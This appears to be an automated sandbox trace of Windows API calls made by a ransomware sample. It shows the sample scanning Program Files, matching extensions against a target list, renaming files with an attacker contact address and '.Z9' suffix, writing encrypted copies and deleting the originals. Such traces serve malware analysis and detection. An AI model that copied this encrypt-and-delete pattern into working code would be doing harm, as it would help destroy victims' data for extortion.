	[0189.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.322] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.322] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10240) returned 1
	[0189.322] CloseHandle (hObject=0x360) returned 1
	[0189.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20
	[0189.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.323] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.323] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=9728) returned 1
	[0189.323] CloseHandle (hObject=0x360) returned 1
	[0189.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20
	[0189.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.324] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.325] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10240) returned 1
	[0189.325] CloseHandle (hObject=0x360) returned 1
	[0189.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20
	[0189.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.325] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.325] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=41984) returned 1
	[0189.326] CloseHandle (hObject=0x360) returned 1
	[0189.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20
	[0189.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.326] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.326] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=4101632) returned 1
	[0189.327] CloseHandle (hObject=0x360) returned 1
	[0189.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20
	[0189.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0189.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.327] lstrlenW (lpString=".doc") returned 4
	[0189.327] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.327] lstrlenW (lpString=".docx") returned 5
	[0189.327] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1
	[0189.327] lstrlenW (lpString=".pdf") returned 4
	[0189.327] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.327] lstrlenW (lpString=".xls") returned 4
	[0189.327] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.327] lstrlenW (lpString=".xlsx") returned 5
	[0189.327] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1
	[0189.327] lstrlenW (lpString=".ppt") returned 4
	[0189.327] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.327] lstrlenW (lpString=".zip") returned 4
	[0189.327] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.327] lstrlenW (lpString=".rar") returned 4
	[0189.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.327] lstrlenW (lpString=".bz2") returned 4
	[0189.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.327] lstrlenW (lpString=".7z") returned 3
	[0189.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString=".dbf") returned 4
	[0189.328] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString=".1cd") returned 4
	[0189.328] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString=".jpg") returned 4
	[0189.328] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString=".doc") returned 4
	[0189.328] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString=".docx") returned 5
	[0189.328] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1
	[0189.328] lstrlenW (lpString=".pdf") returned 4
	[0189.328] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString=".xls") returned 4
	[0189.328] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString=".xlsx") returned 5
	[0189.328] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1
	[0189.328] lstrlenW (lpString=".ppt") returned 4
	[0189.328] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString=".zip") returned 4
	[0189.328] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString=".rar") returned 4
	[0189.328] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.328] lstrlenW (lpString=".bz2") returned 4
	[0189.328] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.328] lstrlenW (lpString=".7z") returned 3
	[0189.328] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.328] lstrlenW (lpString=".dbf") returned 4
	[0189.328] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.329] lstrlenW (lpString=".1cd") returned 4
	[0189.329] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll") returned 61
	[0189.329] lstrlenW (lpString=".jpg") returned 4
	[0189.329] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.329] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0189.329] lstrlenW (lpString="TabTip.exe") returned 10
	[0189.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0189.329] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=391040) returned 1
	[0189.329] CloseHandle (hObject=0x360) returned 1
	[0189.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20
	[0189.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString=".doc") returned 4
	[0189.330] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.330] lstrlenW (lpString=".docx") returned 5
	[0189.330] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0189.330] lstrlenW (lpString=".pdf") returned 4
	[0189.330] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.330] lstrlenW (lpString=".xls") returned 4
	[0189.330] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.330] lstrlenW (lpString=".xlsx") returned 5
	[0189.330] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0189.330] lstrlenW (lpString=".ppt") returned 4
	[0189.330] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString=".zip") returned 4
	[0189.330] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.330] lstrlenW (lpString=".rar") returned 4
	[0189.330] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.330] lstrlenW (lpString=".bz2") returned 4
	[0189.330] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.330] lstrlenW (lpString=".7z") returned 3
	[0189.330] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString=".dbf") returned 4
	[0189.330] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString=".1cd") returned 4
	[0189.330] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString=".jpg") returned 4
	[0189.330] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.330] lstrlenW (lpString=".doc") returned 4
	[0189.330] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.331] lstrlenW (lpString=".docx") returned 5
	[0189.331] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0189.331] lstrlenW (lpString=".pdf") returned 4
	[0189.331] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.331] lstrlenW (lpString=".xls") returned 4
	[0189.331] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.331] lstrlenW (lpString=".xlsx") returned 5
	[0189.331] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0189.331] lstrlenW (lpString=".ppt") returned 4
	[0189.331] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.331] lstrlenW (lpString=".zip") returned 4
	[0189.331] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.331] lstrlenW (lpString=".rar") returned 4
	[0189.331] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.331] lstrlenW (lpString=".bz2") returned 4
	[0189.331] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.331] lstrlenW (lpString=".7z") returned 3
	[0189.331] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.331] lstrlenW (lpString=".dbf") returned 4
	[0189.331] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.331] lstrlenW (lpString=".1cd") returned 4
	[0189.331] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe") returned 61
	[0189.331] lstrlenW (lpString=".jpg") returned 4
	[0189.331] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.331] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.331] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0189.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0189.651] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=9728) returned 1
	[0189.651] CloseHandle (hObject=0x358) returned 1
	[0189.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20
	[0189.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.651] lstrlenW (lpString=".doc") returned 4
	[0189.651] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0189.651] lstrlenW (lpString=".docx") returned 5
	[0189.651] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0189.651] lstrlenW (lpString=".pdf") returned 4
	[0189.651] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0189.651] lstrlenW (lpString=".xls") returned 4
	[0189.651] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0189.651] lstrlenW (lpString=".xlsx") returned 5
	[0189.651] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0189.651] lstrlenW (lpString=".ppt") returned 4
	[0189.651] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0189.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.651] lstrlenW (lpString=".zip") returned 4
	[0189.651] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0189.652] lstrlenW (lpString=".rar") returned 4
	[0189.652] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0189.652] lstrlenW (lpString=".bz2") returned 4
	[0189.652] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0189.652] lstrlenW (lpString=".7z") returned 3
	[0189.652] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0189.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.652] lstrlenW (lpString=".dbf") returned 4
	[0189.652] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0189.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.652] lstrlenW (lpString=".1cd") returned 4
	[0189.652] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0189.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.652] lstrlenW (lpString=".jpg") returned 4
	[0189.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72
	[0189.652] lstrlenW (lpString=".doc") returned 4
	[0189.652] Sleep (dwMilliseconds=0x64) 
	[0190.242] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.242] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.242] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0190.243] GetLastError () returned 0x0
	[0190.243] ReadFile (in: hFile=0x33c, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x5b5, lpOverlapped=0x0) returned 1
	[0190.243] WriteFile (in: hFile=0x35c, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0190.244] ReadFile (in: hFile=0x33c, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.244] WriteFile (in: hFile=0x35c, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0190.244] SetEndOfFile (hFile=0x35c) returned 1
	[0190.245] CloseHandle (hObject=0x35c) returned 1
	[0190.245] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.245] SetEndOfFile (hFile=0x33c) returned 1
	[0190.253] CloseHandle (hObject=0x33c) returned 1
	[0190.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0190.254] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1
	[0190.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.254] lstrlenW (lpString=".doc") returned 4
	[0190.254] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0190.254] lstrlenW (lpString=".docx") returned 5
	[0190.254] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0190.254] lstrlenW (lpString=".pdf") returned 4
	[0190.254] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0190.254] lstrlenW (lpString=".xls") returned 4
	[0190.254] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0190.254] lstrlenW (lpString=".xlsx") returned 5
	[0190.254] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0190.254] lstrlenW (lpString=".ppt") returned 4
	[0190.254] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString=".zip") returned 4
	[0190.255] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString=".rar") returned 4
	[0190.255] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString=".bz2") returned 4
	[0190.255] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString=".7z") returned 3
	[0190.255] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString=".dbf") returned 4
	[0190.255] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0190.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0190.255] lstrlenW (lpString=".1cd") returned 4
	[0190.255] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
